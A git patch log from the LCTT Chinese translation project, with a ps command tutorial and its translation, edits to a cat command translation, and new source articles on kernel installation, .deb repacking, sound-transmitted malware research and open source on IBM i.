CMD - 4524 ? 00:00:00 apache2 - 4525 ? 00:00:00 apache2 - 4526 ? 00:00:00 apache2 - 4527 ? 00:00:00 apache2 - 4528 ? 00:00:00 apache2 - -#### 7. Display threads of a process #### - -The "-L" option will display the threads along with the processes. It can be used to display all threads of a particular process or all processes. - -The following command shall display all the threads owned by the process with id 3150. - - $ ps -p 3150 -L - -#### 8. Change the columns to display #### - -The ps command can be configured to show a selected list of columns only. There are a large number of columns to to show and the full list is available in the man pages. - -The following command shows only the pid, username, cpu, memory and command columns. - - $ ps -e -o pid,uname,pcpu,pmem,comm - -It is possible to rename the column labels - - $ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm - PID USERNAME CPU_USAGE %MEM COMMAND - 1 root 0.0 0.0 init - 2 root 0.0 0.0 kthreadd - 3 root 0.0 0.0 ksoftirqd/0 - 4 root 0.0 0.0 kworker/0:0 - 5 root 0.0 0.0 kworker/0:0H - 7 root 0.0 0.0 migration/0 - 8 root 0.0 0.0 rcu_bh - 9 root 0.0 0.0 rcuob/0 - 10 root 0.0 0.0 rcuob/1 - -Quite flexible. - -#### 9. Display elapsed time of processes #### - -The elapsed time indicates, how long the process has been running for. The column for elapsed time is not shown by default, and has to be brought in using the "-o" option - - $ ps -e -o pid,comm,etime - -#### 10. Turn ps into an realtime process viewer #### - -As usual, the watch command can be used to turn ps into a realtime process reporter. Simple example is like this - - $ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15' - -The output on my desktop is something like this. - - Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013 - - PID USER CMD %MEM %CPU - 3800 1000 /opt/google/chrome/chrome - 4.6 1.4 - 7492 1000 /opt/google/chrome/chrome - 2.7 1.4 - 3150 1000 /opt/google/chrome/chrome 2.7 2.5 - 3824 1000 /opt/google/chrome/chrome - 2.6 0.6 - 3936 1000 /opt/google/chrome/chrome - 2.4 1.6 - 2936 1000 /usr/bin/plasma-desktop 2.3 0.2 - 9666 1000 /opt/google/chrome/chrome - 2.1 0.8 - 3842 1000 /opt/google/chrome/chrome - 2.1 0.8 - 4739 1000 /opt/google/chrome/chrome - 1.8 1.0 - 3930 1000 /opt/google/chrome/chrome - 1.7 1.0 - 3911 1000 /opt/google/chrome/chrome - 1.6 0.6 - 3645 1000 /opt/google/chrome/chrome - 1.5 0.4 - 3677 1000 /opt/google/chrome/chrome - 1.5 0.4 - 3639 1000 /opt/google/chrome/chrome - 1.4 0.4 - -The output would be updated every 1 second to refresh the stats. However do not think that this is similar to top. - -You would notice that the output of top/htop command changes much more frequently compared to the above ps command. - -This is because the top output sorts on a value that is a mix of cpu usage and memory usage. But the above ps command sorts in a more simpler manner, taking 1 column at a time (like school maths). So it would not update rapidly like top. - --------------------------------------------------------------------------------- - -via: http://www.binarytides.com/linux-ps-command/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/10 basic examples of Linux ps command.md b/translated/10 basic examples of Linux ps command.md new file mode 100755 index 0000000000..9276a61da2 --- /dev/null +++ b/translated/10 basic examples of Linux ps command.md @@ -0,0 +1,216 @@ +ps命令的10个例子 +================================================================================ +### Linux ps 命令 ### + +linux的ps命令是一个浏览系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照，还带有一些具体的信息，比如用户id，cpu使用率，内存使用，命令名等它不会像top或者htop一样实时显示数据。即使他在功能和输出上更见但，但是它仍是一个每个linux新人需要了解和学习的一个必要的进程管理/检测工具。 + +在本篇中，我门会复习ps命令基本的用法:检测、过滤、以不同的方式排序进程来更好地适应。 + +### 语法说明 ### + +ps命令有两种不同风格的语法规则。它们是BSD和UNIX。新人经常感到困惑并会误解这两种风格。因此在继续本篇之前有一些基本的信息要澄清。 + +> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程，但是"u"意味着显示具体信息。 + +BSD 形式 - BSD形式的语法的选项前没有破折号。 + + ps aux + +UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。 + + ps -ef + +在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论unix形式语法。 + +### 如何使用ps命令 ### + +#### 1. 显示所有进程 #### + +下面的命令可以显示所有进程的列表。 + + $ ps ax + $ ps -ef + +通过管道输出到"less"可以使它滚动。 + +使用"u"或者"-f"选项可以显示进程的具体信息。 + + $ ps aux + $ ps -ef -f + +> 为什么USER列显示的不是我的用户名而是其他的像root，www-data等等？ + +对于所有的用户(包括你们的)，如果长度大于8个字符，那么ps只会显示你的UID而不是用户名。 + +#### 2. 显示用户进程 #### + +使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。 + + $ ps -f -u www-data + UID PID PPID C STIME TTY TIME CMD + www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + +#### 3. 通过名字或者进程id显示进程 #### + +通过"-C"选项后面加上名字或者命令来搜索进程。 + + $ ps -C apache2 + PID TTY TIME CMD + 2359 ? 00:00:00 apache2 + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + ... + +要通过进程id显示进程，就使用"-p"选项，并且它还提供使用逗号来分割进程id。 + + $ ps -f -p 3150,7298,6544 + +"-C"必须提供精确的进程名，并且它并不能通过部分名字或者通配符查找。为了更弹性地搜索进程列表，通常使用grep命令。 + + $ ps -ef | grep apache + +#### 4. 通过cpu或者内存使用排序进程 #### + +系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特性的字段或者参数排序进程列表。 + +多个字段可以用'--sort'指定，并用逗号分割。除此之外，字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项。通过man页来获取完整的列表。 + + + $ ps aux --sort=-pcpu,+pmem + +显示前5名最耗cpu的进程。 + + $ ps aux --sort=-pcpu | head -5 + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp + root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork + silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py + +#### 5. 以树的形式显示进程层级 #### + +许多进程实际上是从同一个父进程fork出来的，并且了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。 + +下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。 + + $ ps -f --forest -C apache2 + UID PID PPID C STIME TTY TIME CMD + root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + +> 尽量不要在排序中使用树状显示，因为两者都会以不同方式影响显示的顺序。 + +#### 6. 显示父进程的子进程 #### + +下面一个是找出所有从apache进程fork出来的进程的例子。 + + $ ps -o pid,uname,comm -C apache2 + PID USER COMMAND + 2359 root apache2 + 4524 www-data apache2 + 4525 www-data apache2 + 4526 www-data apache2 + 4527 www-data apache2 + 4528 www-data apache2 + [term] + + 第一个属于root的进程是apache2的主进程，其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。 + + [term] + $ ps --ppid 2359 + PID TTY TIME CMD + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + 4526 ? 00:00:00 apache2 + 4527 ? 00:00:00 apache2 + 4528 ? 00:00:00 apache2 + +#### 7. 显示进程的线程 #### + +"-L"选项会随着进程一起显示线程。它可用于显示所有特定进程或者所有进程的线程。 + +下面的命令会显示进程id为3150的进程的所有线程。 + + $ ps -p 3150 -L + +#### 8. 改变显示的列 #### + +ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示，并且完整的列表在man页中。 + +下面的命令会只显示pid、用户名、cpu、内存、命令列。 + + $ ps -e -o pid,uname,pcpu,pmem,comm + +同样可以重命名列的名字。 + + $ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm + PID USERNAME CPU_USAGE %MEM COMMAND + 1 root 0.0 0.0 init + 2 root 0.0 0.0 kthreadd + 3 root 0.0 0.0 ksoftirqd/0 + 4 root 0.0 0.0 kworker/0:0 + 5 root 0.0 0.0 kworker/0:0H + 7 root 0.0 0.0 migration/0 + 8 root 0.0 0.0 rcu_bh + 9 root 0.0 0.0 rcuob/0 + 10 root 0.0 0.0 rcuob/1 + +非常弹性化。 + +#### 9. 显示进程运行的时间 #### + +运行的时间指的是，进程已经运行的时间。运行时间的列并没有默认显示，需要使用-o选项带入。 + + $ ps -e -o pid,comm,etime + +#### 10. 将ps转换为实时进程查看器 #### + +As usual, the watch command can be used to turn ps into a realtime process reporter. Simple example is like this +通常上，watch命令可将ps命令变成实时进程查看器。像这个简单的命令 + + $ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15' + +我桌面上的输出就像这样。 + + Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013 + + PID USER CMD %MEM %CPU + 3800 1000 /opt/google/chrome/chrome - 4.6 1.4 + 7492 1000 /opt/google/chrome/chrome - 2.7 1.4 + 3150 1000 /opt/google/chrome/chrome 2.7 2.5 + 3824 1000 /opt/google/chrome/chrome - 2.6 0.6 + 3936 1000 /opt/google/chrome/chrome - 2.4 1.6 + 2936 1000 /usr/bin/plasma-desktop 2.3 0.2 + 9666 1000 /opt/google/chrome/chrome - 2.1 0.8 + 3842 1000 /opt/google/chrome/chrome - 2.1 0.8 + 4739 1000 /opt/google/chrome/chrome - 1.8 1.0 + 3930 1000 /opt/google/chrome/chrome - 1.7 1.0 + 3911 1000 /opt/google/chrome/chrome - 1.6 0.6 + 3645 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3677 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3639 1000 /opt/google/chrome/chrome - 1.4 0.4 + +输出会每秒刷新状态。但不要认为这和top相似。 + +你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。 + +这是因为top输出会cpu使用和内存使用值混合排序后的输出。但是上面的ps命令是一个更简单的行为的排序，每次获取一列(像学校的数学)。因此它不会像top那样快速更新。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-ps-command/ + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 57147ca4c0f837d5b2b3c68a6f814f9c3ce6b09c Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 4 Dec 2013 14:28:19 +0800 Subject: [PATCH 106/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...mmand Examples To Manage (Display,Sort,Create etc) Files.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 97ff642b07..8fff97fd77 100644 --- a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,4 +1,3 @@ - 13 Linux Cat命令管理(显示，排序，建立)文件实例 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) @@ -61,7 +60,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 # cat -T /etc/hosts - # Do not remove the following line, or various programs + # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1^I^Ilocalhost.localdomain localhost ::1^I^Ilocalhost6.localdomain6 localhost6 From 9d42bbce2d81664f6db9355e0aa7d28dd30145b1 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Wed, 4 Dec 2013 15:59:29 +0800 Subject: [PATCH 107/148] =?UTF-8?q?20131204-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...stall Linux Kernel 3.12 in Ubuntu 13.10.md | 39 ++++++++++++ ...o Repack Deb Files on Debian and Ubuntu.md | 46 ++++++++++++++ ...nst Potential Sound-Transmitted Malware.md | 29 +++++++++ .../Open Source Is Here To Stay On IBM i.md | 61 +++++++++++++++++++ 4 files changed, 175 insertions(+) create mode 100644 sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md create mode 100644 sources/How to Repack Deb Files on Debian and Ubuntu.md create mode 100644 sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md create mode 100644 sources/Open Source Is Here To Stay On IBM i.md diff --git a/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md b/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md new file mode 100644 index 0000000000..77538bed5a --- /dev/null +++ b/sources/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md @@ -0,0 +1,39 @@ +How to Install Linux Kernel 3.12 in Ubuntu 13.10 +================================================================================ +Ubuntu 13.10 users don't have to look with envy at the new Linux kernels that are released, and they can update their systems with relative ease. + +Canonical is usually sticking with one Linux kernel for an entire development cycle. For example, Ubuntu 13.10 is based on Linux kernel 3.11, but now a new stable Linux kernel, 3.12, has been launched. + +Ubuntu users will have to wait until the release of the 14.04 LTS to get a newer Linux kernel, but they can also install, until then, new versions. + +We have to warn you from the get-go. Canonical does not recommend updating your Linux kernel to other versions than the ones provided on official channels. This is not a totally safe procedure and you might have problems afterwards, even system failures. On the other hand, you might get better performance from your system. + +The kernel you are about to download is from Canonical, which means that it is already in a .deb format. You won't have to compile it yourself. Open a terminal, navigate to the Downloads folder, and enter the following commands: + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + + wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +You can also download the 32-bit version, if you have a 32-bit operating system. Just replace the 64-bit links with the ones for 32-bit, which can be found [here][1]. + +Now you will have to run those .deb, just like any other program. In the same terminal that you used to download the packages, write the following commands (you will need root access to make this work): + + sudo dpkg -i linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + sudo dpkg -i linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +After the process is finished, you will have to restart the system and voila, the new Linux kernels are in place. The good news is that the old ones are still there and, if you need to delete 3.12, all you have to do is use a very well-known command. + + sudo apt-get purge linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + sudo apt-get linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb + +One thing you have to remember. The names of the files shown above will change pretty soon. If the downloads are not working, you will have to update the new links. Enjoy Linux kernel 3.12! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Install-Linux-Kerrnel-3-12-in-Ubuntu-13-10-397013.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/ \ No newline at end of file diff --git a/sources/How to Repack Deb Files on Debian and Ubuntu.md b/sources/How to Repack Deb Files on Debian and Ubuntu.md new file mode 100644 index 0000000000..02f3bd9331 --- /dev/null +++ b/sources/How to Repack Deb Files on Debian and Ubuntu.md @@ -0,0 +1,46 @@ +How to Repack Deb Files on Debian and Ubuntu +================================================================================ +**The following tutorial will teach Ubuntu, Linux Mint and Debian GNU/Linux users how to easily unpack and repack a .deb file on their Debian-based Linux operating system.** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930-2.jpg) + +Once in a while you reach a moment in life when, among other things, you want to modify a .deb file, to change something in it and repackage it back. But, only if you are truly into computing and hacking. + +The following example is a true story, as it happen to me a while ago. A Linux developer created a Debian package (.deb) for a software, which I’ve install on my Ubuntu powered computer with success. + +Apparently, the software did not worked correctly, as it was always stuck when it tried to retrieve some files from a Git repository. So, I knew where the files where installed (in the /opt directory), I’ve searched the code, found the issue and repair it in place. After that, the program was no longer stuck when it tried to retrieve the packages it needed. + +So, long story short, I wanted to unpack the .deb file, replace the file I’ve patched in it, and repackage it back so I can install it on other computers or give it to my friends. How do I do that? + +After searching the Internet for an answer to my problem, I’ve found a small blog called [ailoo.net][1] where it was explained like this: + + mkdir -p extract/DEBIAN + dpkg-deb -x package.deb extract/ + dpkg-deb -e package.deb extract/DEBIAN [...do something, e.g. edit the control file...] + mkdir build + dpkg-deb -b extract/ build/ + +These five commands will do the job like a charm. Let me explain them to you: the first one creates a folder called “extract” and a subfolder called “DEBIAN”; the second command will extract some files from your .deb package in the “extract” folder; the third command will extract the content of the .deb package in the “DEBIAN” subfolder, where you can modify/patch the files you want; the fourth command will create a folder called “build”; and the fifth command will repack the modified files into a new .deb package, which will be generated in the “build” folder. + +That’s it! Just remember to stick with the commands above, and modify the files visually with a graphical text editor via your default file manager, after you’ve executed the third command. Do not hesitate to comment below if you run into problems during this tutorial. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ailoo.net/2009/06/repack-a-deb-archive-with-dpkg-deb/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: \ No newline at end of file diff --git a/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md b/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md new file mode 100644 index 0000000000..4c42ee0950 --- /dev/null +++ b/sources/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md @@ -0,0 +1,29 @@ +Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware +================================================================================ +**A new type of malware that is using sound to transmit itself has been developed by scientists and it seems that the Linux systems are the only ones that can be protected against this kind of attacks.** + +Scientists Michael Hanspach and Michael Goetz from Fraunhofer FKIE, Wachtberg, Germany, have developed a technique capable of infecting other computers with malware that transmits itself using just speakers and microphones. + +“Covert channels can be used to circumvent system and network policies by establishing communications that have not been considered in the design of the computing system. We construct a covert channel between different computing systems that utilizes audio modulation/demodulation to exchange data between the computing systems over the air medium,” [reads the paper][1] that they published in the Journal of Communications. + +This would prove a very powerful method of infecting computers, especially because they don't even have to be linked in a network. All that is needed for the method to work is proximity. + +Another problem is that there is virtually no protection embedded in today's operating systems for such malware. The good news is that Linux users can make a few small modifications in order to gain that much needed protection. + +The developers have explained that Linux systems can be programed, rather easily, to adapt to this new form of attacks. + +“If audio input and output devices cannot be switched off, implementation of audio filtering options may be an alternative approach to counter maliciously triggered participation in covert networks. “ + +“In Linux-based operating systems, a software-defined audio filter can be implemented with ALSA (Advanced Linux Sound Architecture) in conjunction with the LADSPA (Linux Audio Developer’s Simple Plugin API),” the scientists say in the paper. + +Sound-transmitted malware is something very new and it's no wonder that there is no protection against it, but it goes to show why Linux systems are considered safer. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-Is-the-Only-Way-to-Protect-Against-Possible-Malware-Through-Sound-Attacks-405566.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.jocm.us/index.php?m=content&c=index&a=show&catid=124&id=600 \ No newline at end of file diff --git a/sources/Open Source Is Here To Stay On IBM i.md b/sources/Open Source Is Here To Stay On IBM i.md new file mode 100644 index 0000000000..5f989aa98c --- /dev/null +++ b/sources/Open Source Is Here To Stay On IBM i.md @@ -0,0 +1,61 @@ +Open Source Is Here To Stay On IBM i +================================================================================ +For years, open source software has been a bit of a redheaded stepchild in the button-down IBM midrange community. IBM i shops were hesitant to use it, and vendors were afraid to adopt it. But with so much of the computing world now running on open source, the aversion to open source has gradually melted away, and it has steadily crept into use among large corporations, and the IBM i world too. + +It is tough to measure the adoption of open source software, which flows freely across networks by its very nature. Nobody requires you to register to use open source software, and there's no central clearinghouse of information about open source software. + +However, recent surveys and audits point to greater adoption of open source across all industries. Open source software components are widely used in in the financial services industry, according to Julian Brook, associate director at SQS Software, which conducts software quality audits for financial software vendors. "I would say that, arguably, open source is used in every organization that is developing software, especially in the financial services world," Brook [told Out-Law.com recently][1]. + +Governmental agencies lead the way in use of open source software, according to [Black Duck Software][2]'s 2013 Future of Open Source survey. More than 35 percent of government representatives queried for the survey say they use open source, followed by medical (15.2 percent), media (13 percent), financial (8.8 percent), and retail (5.9 percent). You can view more of the survey at [Slideshare][3]. + +Increasingly, users are adopting open source software because they expect higher software quality and security with open source, according to surveys like those from Black Duck. That's very interesting, because for many years, open source software was largely avoided for those two very reasons. + +These are opinion surveys, mind you. They're not necessarily reflections of actual reality. But it is clear than many of the shortcomings that people previously associated with open source software products are disappearing. And slowly but surely, this trend is bleeding over into the competitive world of IBM i software, too. + +### Open Source Impacts On IBM i ### + +The IBM i server is one of the last great bastions of proprietary technology in a world heading in the direction of open source. IBM does not share with the world the guts of the IBM i OS and the System Licensed Internal Code (SLIC) it runs on. You can take what access IBM provides developers to the machine, or you can leave it, but you can't get access to the internals. + +What goes on above the OS and SLIC layers is another matter entirely. We're not seeing a big influx of open source software in the world of ERP and business applications. But in many other software categories, open source options are proliferating. + +One IBM i proponent of open source software is [Raz-Lee][4]. The security software vendor, which relies on the open source [ClamAV][5] offering to power its IBM i-based anti-virus offering, called iSecurity Anti-Virus, says ClamAV had an update for an evolving security threat--the W32/Autorun.worm.aaeh Trojan Horse--months before its competitor had updated the signature library for its IBM i-based antivirus offering. + +"It turns out that ClamAV has been handling this threat . . . as of about eight to nine months ago," Raz-Lee vice president of business development Eli Spitz wrote in an email to IT Jungle last month. "In fact, one of our technicians here at Raz-Lee actually added his own unofficial signature to ClamAV's database before ClamAV included their formal signature for this virus." + +Another IBM i software vendor using open source tools is [Arpeggio Software][6] . The Atlanta, Georgia-based company uses lots of open source components in its various IBM i utilities, which aren't available under an open source license, but which Arpeggio gives away and then charges customers to get technical support, a common approach taken by commercial open source vendors. + +Arpeggio's latest offering, called ARP-DROP, uses the open source OAuth authentication method to help secure communication channels between IBM i servers and [DropBox][7] service running on the Internet. It also uses the OpenSSH encryption technology with ARP-SFTP client for IBM i. Arpeggio's founders (who also founded Trailblazer Systems, now part of [Liaison Technologies][8]) acknowledge that IBM i professionals could adopt the same open source tools to write similar tools. But they argue that Arpeggio does it better, so why not adopt their free tools and save yourself the time? + +In many cases, an IBM i shop's first conscious exposure to open source is the server side scripting language PHP. IBM and [Zend Technology][9] have worked for years to make PHP run well on IBM i, and Zend's entry-level PHP runtime is shipped along with every Power Systems server and IBM i license. + +One of the most popular PHP applications that run on IBM i servers is [SugarCRM][10]. Representatives with the Cupertino, California, company recently said that it has nearly 1,000 customers running the CRM software on IBM i servers. This includes paid enterprise licenses along with free community edition licenses. + +### Fighting Perceptions ### + +Most IBM i shops are big users of IBM i software, whether they know it or not. Some of the biggest, most important IT infrastructure components come from open source, including the Apache Web server, the Linux OS, the Java and PHP programming languages, the MySQL database, and the Eclipse development environment. + +There's no reason not to call open source "commercial grade" anymore, Raz-Lee's Spitz said. "A few weeks ago Sourcefire, the owners of ClamAV, was purchased by [Cisco Systems][11]. That's obviously a 'certification' by a large commercial organization for open source software. So open source anti-virus software seems to be valuable to a multi-national company." + +While open source software is making inroads in the IBM i community, it still has a ways to go to match the momentum that open source enjoys in the IT market as a whole. "It seems that the IBM i community is often less involved with open source and is not exposed to its importance and prevalence in the current computing area," Spitz said. "In many cases, open source is the 'playground' of very large companies who join to create a better arena for us all." + +As the corporations of the world gradually becomes amenable to open source, the IBM i community will have no choice but to follow. + +-------------------------------------------------------------------------------- + +via: http://www.itjungle.com/tfh/tfh120213-story01.html + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.out-law.com/en/articles/2013/september/open-source-code-use-within-financial-services-organisations-visibility-only-50-at-best-says-software-quality-expert/ +[2]:http://www.blackducksoftware.com/ +[3]:http://www.slideshare.net/blackducksoftware/the-2013-future-of-open-source-survey-results +[4]:http://www.razlee.com/ +[5]:http://www.clamav.net/ +[6]:http://www.arpeggiosoftware.com/ +[7]:http://www.dropbox.com/ +[8]:http://www.liaison.com/ +[9]:http://www.zend.com/ +[10]:http://www.sugarcrm.com/ +[11]:http://www.cisco.com/ \ No newline at end of file From 7b887508628f066beee4601557295861b448557b Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 4 Dec 2013 16:31:08 +0800 Subject: [PATCH 108/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Manage (Display,Sort,Create etc) Files.md | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 8fff97fd77..eb740a50fd 100644 --- a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,14 +1,14 @@ -13 Linux Cat命令管理(显示，排序，建立)文件实例 +13个 Linux Cat命令管理(显示，排序，建立)文件实例 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) -Linux系统中，许多配置文件，Logs文件，甚至shell脚本都使用文本文件格式，因此,Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下它们里的内容时，可使用cat命令。 +在Linux系统中，大多数配置文件、Logs文件，甚至shell脚本都使用文本文件格式，因此,Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下这些文件的内容时，可使用一个简单的命令-cat. cat手册里这样描述： > cat命令读取文件内容，并输出到标准设备上面 -cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请跟随我来一起使用它. +cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来，让我们开始学习如何使用. ### 1. 显示文件内容 ### @@ -19,9 +19,9 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 CentOS release 5.10 (Final) Kernel \r on an \m -### 2. 在行首显示行号 ### +### 2. 在运行中显示行号 ### -当在读取内容很多的配置文件时，加上-n参数可实现在行首显示行号。 +当在读取内容很多的配置文件时，在运行中显示行号将会使操作变简单，加上-n参数可以实现. # cat -n /etc/ntp.conf @@ -39,7 +39,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 ### 3. 在行首显示非空行号 ### -类似于-n参数，-b也在行首显示行号.但它显示的行号为非空行行号 +类似于-n参数，-b也在运行中显示行号.区别在于-b只显示非空行行号. #cat -b /etc/ntp.conf @@ -89,7 +89,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 ### 7. 每页满屏显示 ### -当文件内容超过一屏显示范围时,可结合cat命令与其它命令满屏显示.使用管道符 ( | ). +当文件内容显示不适合你的屏幕, 可结合cat命令与其它命令满屏显示.使用管道符 ( | ). # cat /proc/meminfo | less @@ -100,8 +100,10 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 ### 8. 同时查看2个文件中的内容 ### 位于/root文件夹里有两人文件取名linux及desktop，每个文件含有以下内容 : + **Linux** : ubuntu, centos, redhat, mint and slackware **Desktop** : gnome kde, xfce, enlightment, and cinnamon + 当你想同时查看两文件中的内容时，可按如下方法 : # cat /root/linux /root/desktop @@ -119,7 +121,7 @@ cat是一条linux内置命令. 